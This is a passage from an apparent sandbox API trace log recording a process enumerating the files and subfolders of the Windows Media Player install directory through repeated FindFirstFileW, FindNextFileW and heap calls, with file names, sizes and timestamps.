dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.137] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0241.137] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0241.137] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0241.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0241.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0241.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0241.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0241.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1 [0241.138] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0 [0241.138] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0241.139] GetProcessHeap () returned 0xc10000 [0241.139] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.139] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0241.139] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0241.139] GetProcessHeap () returned 0xc10000 [0241.139] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0241.141] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.141] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1287, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x2438, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1 [0241.142] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0 [0241.142] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0241.143] GetProcessHeap () returned 0xc10000 [0241.143] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.143] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0241.143] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0241.144] GetProcessHeap () returned 0xc10000 [0241.144] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0241.144] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.144] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0241.145] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0241.145] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0241.145] GetProcessHeap () returned 0xc10000 [0241.145] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.145] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0241.145] GetProcessHeap () returned 0xc10000 [0241.145] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0241.145] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.145] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0241.145] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0241.146] GetProcessHeap () returned 0xc10000 [0241.146] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b148c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2f0d0100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2c1c100, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3f71b00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x11f600, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xbefe7b00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1 [0241.146] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x4b5c6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0241.147] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x45b35800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0241.147] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x5fed3600, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0241.147] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: 